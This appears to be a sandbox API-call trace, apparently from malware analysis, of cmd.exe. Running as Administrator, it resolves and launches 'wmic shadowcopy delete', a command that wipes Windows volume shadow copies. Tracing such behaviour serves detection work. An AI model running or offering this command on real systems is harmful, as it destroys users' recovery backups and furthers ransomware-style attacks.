	[0216.651] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0xc90e98f8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f8c8*=0x17, lpOverlapped=0x0) returned 1
	[0216.652] GetProcessHeap () returned 0x1d2f7770000
	[0216.652] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x4012) returned 0x1d2f7778380
	[0216.652] GetProcessHeap () returned 0x1d2f7770000
	[0216.652] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0216.652] _wcsicmp (_String1="wmic", _String2=")") returned 78
	[0216.652] _wcsicmp (_String1="FOR", _String2="wmic") returned -17
	[0216.652] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17
	[0216.652] _wcsicmp (_String1="IF", _String2="wmic") returned -14
	[0216.652] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14
	[0216.652] _wcsicmp (_String1="REM", _String2="wmic") returned -5
	[0216.652] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5
	[0216.652] GetProcessHeap () returned 0x1d2f7770000
	[0216.652] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xb0) returned 0x1d2f7776c00
	[0216.652] GetProcessHeap () returned 0x1d2f7770000
	[0216.652] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1a) returned 0x1d2f77781b0
	[0216.653] GetProcessHeap () returned 0x1d2f7770000
	[0216.653] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x36) returned 0x1d2f7776f40
	[0216.653] GetConsoleOutputCP () returned 0x1b5
	[0216.654] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0216.654] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0216.655] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f710, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0216.655] malloc (_Size=0xffce) returned 0x1d2f7890840
	[0216.655] ??_V@YAXPEAX@Z () returned 0x1d2f7890840
	[0216.655] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0216.655] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0216.655] _wcsicmp (_String1="wmic", _String2="DIR") returned 19
	[0216.655] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18
	[0216.655] _wcsicmp (_String1="wmic", _String2="DEL") returned 19
	[0216.655] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3
	[0216.655] _wcsicmp (_String1="wmic", _String2="COPY") returned 20
	[0216.655] _wcsicmp (_String1="wmic", _String2="CD") returned 20
	[0216.655] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20
	[0216.655] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5
	[0216.655] _wcsicmp (_String1="wmic", _String2="REN") returned 5
	[0216.655] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18
	[0216.655] _wcsicmp (_String1="wmic", _String2="SET") returned 4
	[0216.656] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="DATE") returned 19
	[0216.656] _wcsicmp (_String1="wmic", _String2="TIME") returned 3
	[0216.656] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="MD") returned 10
	[0216.656] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10
	[0216.656] _wcsicmp (_String1="wmic", _String2="RD") returned 5
	[0216.656] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5
	[0216.656] _wcsicmp (_String1="wmic", _String2="PATH") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16
	[0216.656] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4
	[0216.656] _wcsicmp (_String1="wmic", _String2="CLS") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="CALL") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1
	[0216.656] _wcsicmp (_String1="wmic", _String2="VER") returned 1
	[0216.656] _wcsicmp (_String1="wmic", _String2="VOL") returned 1
	[0216.656] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18
	[0216.656] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4
	[0216.656] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18
	[0216.656] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3
	[0216.656] _wcsicmp (_String1="wmic", _String2="START") returned 4
	[0216.656] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19
	[0216.656] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12
	[0216.656] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10
	[0216.656] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="POPD") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22
	[0216.656] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17
	[0216.656] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21
	[0216.656] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10
	[0216.656] _wcsicmp (_String1="wmic", _String2="DIR") returned 19
	[0216.656] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18
	[0216.656] _wcsicmp (_String1="wmic", _String2="DEL") returned 19
	[0216.656] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3
	[0216.656] _wcsicmp (_String1="wmic", _String2="COPY") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="CD") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20
	[0216.656] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5
	[0216.656] _wcsicmp (_String1="wmic", _String2="REN") returned 5
	[0216.656] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18
	[0216.656] _wcsicmp (_String1="wmic", _String2="SET") returned 4
	[0216.656] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="DATE") returned 19
	[0216.656] _wcsicmp (_String1="wmic", _String2="TIME") returned 3
	[0216.656] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7
	[0216.656] _wcsicmp (_String1="wmic", _String2="MD") returned 10
	[0216.657] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10
	[0216.657] _wcsicmp (_String1="wmic", _String2="RD") returned 5
	[0216.657] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5
	[0216.657] _wcsicmp (_String1="wmic", _String2="PATH") returned 7
	[0216.657] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16
	[0216.657] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4
	[0216.657] _wcsicmp (_String1="wmic", _String2="CLS") returned 20
	[0216.657] _wcsicmp (_String1="wmic", _String2="CALL") returned 20
	[0216.657] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1
	[0216.657] _wcsicmp (_String1="wmic", _String2="VER") returned 1
	[0216.657] _wcsicmp (_String1="wmic", _String2="VOL") returned 1
	[0216.657] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18
	[0216.657] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4
	[0216.657] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18
	[0216.657] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3
	[0216.657] _wcsicmp (_String1="wmic", _String2="START") returned 4
	[0216.657] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19
	[0216.657] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12
	[0216.657] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10
	[0216.657] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7
	[0216.657] _wcsicmp (_String1="wmic", _String2="POPD") returned 7
	[0216.657] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22
	[0216.657] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17
	[0216.657] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21
	[0216.657] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20
	[0216.657] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10
	[0216.657] _wcsicmp (_String1="wmic", _String2="FOR") returned 17
	[0216.657] _wcsicmp (_String1="wmic", _String2="IF") returned 14
	[0216.657] _wcsicmp (_String1="wmic", _String2="REM") returned 5
	[0216.657] ??_V@YAXPEAX@Z () returned 0x1
	[0216.657] GetProcessHeap () returned 0x1d2f7770000
	[0216.657] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xffde) returned 0x1d2f7778380
	[0216.658] GetProcessHeap () returned 0x1d2f7770000
	[0216.658] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x40) returned 0x1d2f7776cc0
	[0216.658] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20
	[0216.658] malloc (_Size=0xffce) returned 0x1d2f78a0820
	[0216.658] ??_V@YAXPEAX@Z () returned 0x1d2f78a0820
	[0216.658] GetProcessHeap () returned 0x1d2f7770000
	[0216.658] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1ffac) returned 0x1d2f778c0f0
	[0216.660] SetErrorMode (uMode=0x0) returned 0x0
	[0216.660] SetErrorMode (uMode=0x1) returned 0x0
	[0216.660] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d2f778c100, lpFilePart=0xc90e98ef90 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc90e98ef90*="system32") returned 0x13
	[0216.660] SetErrorMode (uMode=0x0) returned 0x1
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f778c0f0, Size=0x42) returned 0x1d2f778c0f0
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f778c0f0) returned 0x42
	[0216.660] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0216.660] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x1b4) returned 0x1d2f7789520
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x358) returned 0x1d2f77896e0
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f77896e0, Size=0x1b6) returned 0x1d2f77896e0
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f77896e0) returned 0x1b6
	[0216.660] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xe8) returned 0x1d2f7776d10
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f7776d10, Size=0x7e) returned 0x1d2f7776d10
	[0216.660] GetProcessHeap () returned 0x1d2f7770000
	[0216.660] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f7776d10) returned 0x7e
	[0216.660] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0216.660] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0216.661] GetLastError () returned 0x2
	[0216.661] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0216.661] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0216.663] GetLastError () returned 0x2
	[0216.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0216.663] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0216.664] GetLastError () returned 0x2
	[0216.664] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0216.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0216.664] GetLastError () returned 0x2
	[0216.664] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0216.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776da0
	[0216.664] FindClose (in: hFindFile=0x1d2f7776da0 | out: hFindFile=0x1d2f7776da0) returned 1
	[0216.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0xffffffffffffffff
	[0216.664] GetLastError () returned 0x2
	[0216.664] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0xc90e98ed00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc90e98ed00) returned 0x1d2f7776da0
	[0216.665] FindClose (in: hFindFile=0x1d2f7776da0 | out: hFindFile=0x1d2f7776da0) returned 1
	[0216.665] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0216.665] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0216.665] ??_V@YAXPEAX@Z () returned 0x1
	[0216.665] GetConsoleTitleW (in: lpConsoleTitle=0xc90e98f280, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0216.665] GetProcessHeap () returned 0x1d2f7770000
	[0216.665] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x21c) returned 0x1d2f77898b0
	[0216.665] GetConsoleTitleW (in: lpConsoleTitle=0x1d2f77898c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0216.665] GetProcessHeap () returned 0x1d2f7770000
	[0216.665] RtlReAllocateHeap (Heap=0x1d2f7770000, Flags=0x0, Ptr=0x1d2f77898b0, Size=0xa8) returned 0x1d2f77898b0
	[0216.665] GetProcessHeap () returned 0x1d2f7770000
	[0216.665] RtlSizeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, MemoryPointer=0x1d2f77898b0) returned 0xa8
	[0216.665] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - wmic  shadowcopy delete") returned 1
	[0216.667] GetProcessHeap () returned 0x1d2f7770000
	[0216.667] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77898b0) returned 1
	[0216.667] InitializeProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc90e98f090 | out: lpAttributeList=0xc90e98f1a0, lpSize=0xc90e98f090) returned 1
	[0216.667] UpdateProcThreadAttribute (in: lpAttributeList=0xc90e98f1a0, dwFlags=0x0, Attribute=0x60001, lpValue=0xc90e98f07c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc90e98f1a0, lpPreviousValue=0x0) returned 1
	[0216.667] GetStartupInfoW (in: lpStartupInfo=0xc90e98f130 | out: lpStartupInfo=0xc90e98f130*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) 
	[0216.667] GetProcessHeap () returned 0x1d2f7770000
	[0216.667] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x20) returned 0x1d2f7776da0
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0216.667] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0216.668] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0216.668] GetProcessHeap () returned 0x1d2f7770000
	[0216.668] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776da0) returned 1
	[0216.668] GetProcessHeap () returned 0x1d2f7770000
	[0216.668] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x12) returned 0x1d2f7778010
	[0216.668] _get_osfhandle (_FileHandle=1) returned 0x234
	[0216.668] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0216.668] _get_osfhandle (_FileHandle=0) returned 0x228
	[0216.668] SetConsoleMode (hConsoleHandle=0x228, dwMode=0x0) returned 0
	[0216.668] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic  shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc90e98f0c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic  shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc90e98f098 | out: lpCommandLine="wmic  shadowcopy delete", lpProcessInformation=0xc90e98f098*(hProcess=0x94, hThread=0x98, dwProcessId=0xde0, dwThreadId=0xde4)) returned 1
	[0217.025] CloseHandle (hObject=0x98) returned 1
	[0217.025] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0217.025] GetProcessHeap () returned 0x1d2f7770000
	[0217.025] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778b5f0) returned 1
	[0217.025] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0217.025] GetProcessHeap () returned 0x1d2f7770000
	[0217.025] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778aaf0
	[0217.025] FreeEnvironmentStringsA (penv="=") returned 1
	[0217.025] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xc90e98e598, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc90e98e598, ReturnLength=0x0) returned 0x0
	[0217.026] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xa2aaa5c000, lpBuffer=0xc90e98e5d0, nSize=0x7a0, lpNumberOfBytesRead=0xc90e98e590 | out: lpBuffer=0xc90e98e5d0*, lpNumberOfBytesRead=0xc90e98e590*=0x7a0) returned 1
	[0217.026] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0
	[0230.470] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xc90e98f018 | out: lpExitCode=0xc90e98f018*=0x80041014) returned 1
	[0230.470] CloseHandle (hObject=0x94) returned 1
	[0230.470] _vsnwprintf (in: _Buffer=0xc90e98f1e8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc90e98f028 | out: _Buffer="80041014") returned 8
	[0230.470] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1
	[0230.471] GetProcessHeap () returned 0x1d2f7770000
	[0230.471] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778aaf0) returned 1
	[0230.471] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0230.471] GetProcessHeap () returned 0x1d2f7770000
	[0230.471] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778aaf0
	[0230.471] FreeEnvironmentStringsA (penv="=") returned 1
	[0230.471] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0230.471] GetProcessHeap () returned 0x1d2f7770000
	[0230.471] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778aaf0) returned 1
	[0230.471] GetEnvironmentStringsW () returned 0x1d2f7788370*
	[0230.471] GetProcessHeap () returned 0x1d2f7770000
	[0230.471] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0xaea) returned 0x1d2f778aaf0
	[0230.471] FreeEnvironmentStringsA (penv="=") returned 1
	[0230.471] GetProcessHeap () returned 0x1d2f7770000
	[0230.471] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778010) returned 1
	[0230.471] DeleteProcThreadAttributeList (in: lpAttributeList=0xc90e98f1a0 | out: lpAttributeList=0xc90e98f1a0) 
	[0230.471] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0230.473] ??_V@YAXPEAX@Z () returned 0x1
	[0230.473] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.473] SetConsoleMode (hConsoleHandle=0x234, dwMode=0x0) returned 0
	[0230.473] _get_osfhandle (_FileHandle=1) returned 0x234
	[0230.473] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0230.473] _get_osfhandle (_FileHandle=0) returned 0x228
	[0230.473] GetConsoleMode (in: hConsoleHandle=0x228, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0230.473] GetConsoleOutputCP () returned 0x1b5
	[0230.473] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0230.473] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0230.478] GetProcessHeap () returned 0x1d2f7770000
	[0230.478] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776d10) returned 1
	[0230.478] GetProcessHeap () returned 0x1d2f7770000
	[0230.478] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f77896e0) returned 1
	[0230.478] GetProcessHeap () returned 0x1d2f7770000
	[0230.478] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7789520) returned 1
	[0230.478] GetProcessHeap () returned 0x1d2f7770000
	[0230.478] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f778c0f0) returned 1
	[0230.481] GetProcessHeap () returned 0x1d2f7770000
	[0230.481] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776cc0) returned 1
	[0230.481] GetProcessHeap () returned 0x1d2f7770000
	[0230.481] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0230.481] GetProcessHeap () returned 0x1d2f7770000
	[0230.481] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7776f40) returned 1
	[0230.481] GetProcessHeap () returned 0x1d2f7770000
